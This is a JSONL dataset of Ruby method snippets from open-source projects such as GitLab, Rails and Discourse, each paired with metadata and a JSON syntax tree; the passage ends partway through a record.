{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/namespaces/traversal/linear.rb","start_line":162,"raw_source":"def ancestors_upto(top = nil, hierarchy_order: nil)\n        return super unless use_traversal_ids?\n\n        # We can't use a default value in the method definition above because\n        # we need to preserve those specific parameters for super.\n        hierarchy_order ||= :desc\n\n        top_index = ancestors_upto_top_index(top)\n        ids = traversal_ids[top_index...-1].reverse\n\n        # WITH ORDINALITY lets us order the result to match traversal_ids order.\n        ids_string = ids.map { |id| Integer(id) }.join(',')\n        from_sql = <<~SQL\n          unnest(ARRAY[#{ids_string}]::bigint[]) WITH ORDINALITY AS ancestors(id, ord)\n          INNER JOIN namespaces ON namespaces.id = ancestors.id\n        SQL\n\n        self.class\n          .from(Arel.sql(from_sql))\n          .order('ancestors.ord': hierarchy_order)\n      end","complexity_score":22.3,"ast_json":"{\"type\":\"def\",\"children\":[\"ancestors_upto\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"top\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"hierarchy_order\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use_traversal_ids?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"zsuper\",\"children\":[]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hierarchy_order\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]},{\"type\":\"lvasgn\",\"children\":[\"top_index\",{\"type\":\"send\",\"children\":[null,\"ancestors_upto_top_index\",{\"type\":\"lvar\",\"children\":[\"top\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"traversal_ids\"]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"top_index\"]},{\"type\":\"int\",\"children\":[-1]}]}]},\"reverse\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ids_string\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"Integer\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"from_sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"unnest(ARRAY[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids_string\"]}]},{\"type\":\"str\",\"children\":[\"]::bigint[]) WITH ORDINALITY AS ancestors(id, ord)\\n\"]},{\"type\":\"str\",\"children\":[\"INNER JOIN namespaces ON namespaces.id = ancestors.id\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"from\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"lvar\",\"children\":[\"from_sql\"]}]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ancestors.ord\"]},{\"type\":\"lvar\",\"children\":[\"hierarchy_order\"]}]}]}]}]}]}","id":"14b8abe9-1d7d-4f96-93ab-fb5063d5918a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/milestone/new.rb","start_line":16,"raw_source":"def set_start_date(start_date)\n          fill_element('start-date-field', start_date.to_s + \"\\n\")\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_start_date\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"start_date\"]}]},{\"type\":\"send\",\"children\":[null,\"fill_element\",{\"type\":\"str\",\"children\":[\"start-date-field\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_date\"]},\"to_s\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}","id":"06079542-02c5-49bc-ba99-fee6a8088ccd"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/helper_test.rb","start_line":78,"raw_source":"def test_helpers_paths_priority\n    responses = HelpersPathsController.action(:index).call(ActionController::TestRequest::DEFAULT_ENV.dup)\n\n    # helpers1_pack was given as a second path, so pack1_helper should be\n    # included as the second one\n    assert_equal \"pack1\", responses.last.body\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_helpers_paths_priority\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"responses\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelpersPathsController\"]},\"action\",{\"type\":\"sym\",\"children\":[\"index\"]}]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"TestRequest\"]},\"DEFAULT_ENV\"]},\"dup\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"pack1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"responses\"]},\"last\"]},\"body\"]}]}]}]}","id":"03577981-cfb2-49ca-9719-5d1802e03740"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/bridge.rb","start_line":143,"raw_source":"def parent_pipeline\n      pipeline if triggers_child_pipeline?\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"parent_pipeline\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"triggers_child_pipeline?\"]},{\"type\":\"send\",\"children\":[null,\"pipeline\"]},null]}]}","id":"bea90f8a-80ea-4228-93ca-86bad38be832"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/group/relation_tree_restorer.rb","start_line":393,"raw_source":"def importable_column_name\n          @column_name ||= @importable.class.reflect_on_association(:import_failures).foreign_key.to_sym\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"importable_column_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@column_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@importable\"]},\"class\"]},\"reflect_on_association\",{\"type\":\"sym\",\"children\":[\"import_failures\"]}]},\"foreign_key\"]},\"to_sym\"]}]}]}","id":"8ecb448e-9ca4-4096-9429-4a27e323ba75"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_provision.rb","start_line":61,"raw_source":"def statemachine_task_status\n    if %w[finished provisioned].include?(state)\n      status.to_s.downcase == \"error\" || vm.nil? ? \"error\" : \"ok\"\n    else\n      \"retry\"\n    end\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"statemachine_task_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"finished\"]},{\"type\":\"str\",\"children\":[\"provisioned\"]}]},\"include?\",{\"type\":\"send\",\"children\":[null,\"state\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\"]},\"to_s\"]},\"downcase\"]},\"==\",{\"type\":\"str\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vm\"]},\"nil?\"]}]},{\"type\":\"str\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"ok\"]}]},{\"type\":\"str\",\"children\":[\"retry\"]}]}]}","id":"15e452f0-78fb-45b2-8014-594a0caf4d38"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/spec/system/page_objects/discourse_calendar/post_event_form.rb","start_line":9,"raw_source":"def fill_location(with)\n          form.find(\".event-field.location input\").fill_in(with:)\n          self\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"fill_location\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"with\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form\"]},\"find\",{\"type\":\"str\",\"children\":[\".event-field.location input\"]}]},\"fill_in\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"with\"]}]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"27907136-43f6-4fdd-a43a-0ddbde5c9a41"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/models/captain/assistant.rb","start_line":94,"raw_source":"def agent_tools\n    [\n      self.class.resolve_tool_class('faq_lookup').new(self),\n      self.class.resolve_tool_class('handoff').new(self)\n    ]\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"agent_tools\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"resolve_tool_class\",{\"type\":\"str\",\"children\":[\"faq_lookup\"]}]},\"new\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"resolve_tool_class\",{\"type\":\"str\",\"children\":[\"handoff\"]}]},\"new\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"df84d415-11b7-4223-bc1f-6fde5d3d3110"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/users/dismiss_group_callout_service.rb","start_line":7,"raw_source":"def callout\n      current_user.find_or_initialize_group_callout(params[:feature_name], params[:group_id])\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"callout\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"find_or_initialize_group_callout\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"feature_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group_id\"]}]}]}]}","id":"1f968baf-c7cd-431e-baf7-bb54dc5458e7"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":3995,"raw_source":"def test_alt_request_with_matched_header\n    get \"/\", headers: { \"HTTP_X_HEADER\" => \"HEADER\" }\n    assert_equal \"XHeader\", @response.body\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_alt_request_with_matched_header\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTP_X_HEADER\"]},{\"type\":\"str\",\"children\":[\"HEADER\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"XHeader\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"eb66a7b3-112e-4e68-8208-5c226d42b018"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/compare_test_reports_service.rb","start_line":17,"raw_source":"def build_comparer(base_report, head_report)\n      # We need to load the test failure history on the test comparer because we display\n      # this on the MR widget\n      super.tap do |test_reports_comparer|\n        ::Gitlab::Ci::Reports::TestFailureHistory.new(failed_test_cases(test_reports_comparer), project).load!\n      end\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"build_comparer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base_report\"]},{\"type\":\"arg\",\"children\":[\"head_report\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"test_reports_comparer\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Ci\"]},\"Reports\"]},\"TestFailureHistory\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"failed_test_cases\",{\"type\":\"lvar\",\"children\":[\"test_reports_comparer\"]}]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},\"load!\"]}]}]}","id":"0cb23632-e71e-4108-b3bc-eac5d00527e8"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/tags/inline_comment.rb","start_line":5,"raw_source":"def initialize(tag_name, markup, options)\n      super\n\n      # Semantically, a comment should only ignore everything after it on the line.\n      # Currently, this implementation doesn't support mixing a comment with another tag\n      # but we need to reserve future support for this and prevent the introduction\n      # of inline comments from being backward incompatible change.\n      #\n      # As such, we're forcing users to put a # symbol on every line otherwise this\n      # tag will throw an error.\n      if markup.match?(/\\n\\s*[^#\\s]/)\n        raise SyntaxError, options[:locale].t(\"errors.syntax.inline_comment_invalid\")\n      end\n    end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_name\"]},{\"type\":\"arg\",\"children\":[\"markup\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"markup\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\n\\\\s*[^#\\\\s]\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"SyntaxError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"locale\"]}]},\"t\",{\"type\":\"str\",\"children\":[\"errors.syntax.inline_comment_invalid\"]}]}]},null]}]}]}","id":"2dead049-b864-46f0-aa67-a6c013d0ca1d"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/work_packages/primerized_split_work_package.rb","start_line":45,"raw_source":"def switch_to_fullscreen\n      page.find_test_selector(\"wp-details-tab-component--full-screen\").click\n      FullWorkPackage.new(work_package, project)\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"switch_to_fullscreen\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find_test_selector\",{\"type\":\"str\",\"children\":[\"wp-details-tab-component--full-screen\"]}]},\"click\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FullWorkPackage\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"work_package\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}","id":"fb98f478-da59-4bf3-a32c-4c45e5a40486"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/users/invite_controller.rb","start_line":66,"raw_source":"def respond_with_next_step # rubocop:disable Metrics/AbcSize\n    case params[:step]\n    when \"initial\"\n      update_dialog_title_via_turbo_stream(Users::Invitation::DialogComponent::DIALOG_ID,\n                                           new_title: I18n.t(\"users.invite_user_modal.title.invite\"))\n      replace_via_turbo_stream(component: Users::Invitation::ProjectStep::FormComponent.new(form_model))\n      replace_via_turbo_stream(component: Users::Invitation::ProjectStep::FooterComponent.new(form_model))\n      respond_with_turbo_streams\n    when \"project\"\n      update_dialog_title_via_turbo_stream(Users::Invitation::DialogComponent::DIALOG_ID, new_title: dialog_title)\n      replace_via_turbo_stream(component: Users::Invitation::PrincipalStep::FormComponent.new(form_model))\n      replace_via_turbo_stream(component: Users::Invitation::PrincipalStep::FooterComponent.new(form_model))\n      respond_with_turbo_streams\n    when \"principal\"\n      create_invitation\n    else\n      render_400 message: \"Invalid step\"\n    end\n  end","complexity_score":33.2,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_with_next_step\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"step\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"initial\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_dialog_title_via_turbo_stream\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"Invitation\"]},\"DialogComponent\"]},\"DIALOG_ID\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"users.invite_user_modal.title.invite\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"replace_via_turbo_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"component\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"Invitation\"]},\"ProjectStep\"]},\"FormComponent\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"form_model\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"replace_via_turbo_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"component\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"Invitation\"]},\"ProjectStep\"]},\"FooterComponent\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"form_model\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"respond_with_turbo_streams\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"project\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_dialog_title_via_turbo_stream\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"Invitation\"]},\"DialogComponent\"]},\"DIALOG_ID\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_title\"]},{\"type\":\"send\",\"children\":[null,\"dialog_title\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"replace_via_turbo_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"component\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"Invitation\"]},\"PrincipalStep\"]},\"FormComponent\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"form_model\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"replace_via_turbo_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"component\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"Invitation\"]},\"PrincipalStep\"]},\"FooterComponent\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"form_model\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"respond_with_turbo_streams\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"principal\"]},{\"type\":\"send\",\"children\":[null,\"create_invitation\"]}]},{\"type\":\"send\",\"children\":[null,\"render_400\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Invalid step\"]}]}]}]}]}]}","id":"f1abf7c7-e45d-4553-934c-96800d8c7cc2"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/flagged_topic_summary_serializer.rb","start_line":8,"raw_source":"def id\n    topic.id\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic\"]},\"id\"]}]}","id":"820396b7-220b-4d03-bf87-5a8c5fc70c57"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/spec/connect_api/provisioning/provisioning_stubbing.rb","start_line":81,"raw_source":"def stub_available_bundle_id_capabilities\n        stub_request(:post, \"https://developer.apple.com/services-account/v1/capabilities\").\n          to_return(status: 200, body: read_fixture_file('capabilities.json'), headers: { 'Content-Type' => 'application/vnd.api+json' })\n      end","complexity_score":3.7,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_available_bundle_id_capabilities\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/v1/capabilities\"]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"read_fixture_file\",{\"type\":\"str\",\"children\":[\"capabilities.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/vnd.api+json\"]}]}]}]}]}]}]}","id":"f41c4c2e-4fcb-4874-9677-0bc8ec91b3b7"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/dialog/awx_job_template_dialog_service.rb","start_line":125,"raw_source":"def create_parameter_textinput(parameter, group, position, type)\n      group.dialog_fields.build(\n        :type           => type,\n        :name           => \"param_#{parameter['variable']}\",\n        :data_type      => parameter['type'] == 'integer' ? 'integer' : 'string',\n        :display        => \"edit\",\n        :required       => parameter['required'],\n        :dynamic        => false,\n        :default_value  => parameter['default'],\n        :options        => {:protected => parameter['type'] == 'password'},\n        :label          => parameter['question_name'],\n        :description    => parameter['question_description'],\n        :reconfigurable => false,\n        :position       => position,\n        :dialog_group   => group,\n        :read_only      => false\n      )\n    end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_parameter_textinput\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parameter\"]},{\"type\":\"arg\",\"children\":[\"group\"]},{\"type\":\"arg\",\"children\":[\"position\"]},{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"dialog_fields\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"param_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameter\"]},\"[]\",{\"type\":\"str\",\"children\":[\"variable\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data_type\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameter\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"integer\"]}]},{\"type\":\"str\",\"children\":[\"integer\"]},{\"type\":\"str\",\"children\":[\"string\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"display\"]},{\"type\":\"str\",\"children\":[\"edit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameter\"]},\"[]\",{\"type\":\"str\",\"children\":[\"required\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dynamic\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameter\"]},\"[]\",{\"type\":\"str\",\"children\":[\"default\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameter\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"password\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameter\"]},\"[]\",{\"type\":\"str\",\"children\":[\"question_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameter\"]},\"[]\",{\"type\":\"str\",\"children\":[\"question_description\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reconfigurable\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"lvar\",\"children\":[\"position\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dialog_group\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read_only\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"c26abe2a-f914-4b37-81a1-d0e5867698f9"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/lib/reverse_etl/extractors/base.rb","start_line":87,"raw_source":"def log_sync_run_error(sync_run)\n        Rails.logger.error({\n          error_message: \"SyncRun cannot querying from its current state: #{sync_run.status}\",\n          sync_run_id: sync_run.id,\n          stack_trace: nil\n        }.to_s)\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"log_sync_run_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sync_run\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SyncRun cannot querying from its current state: 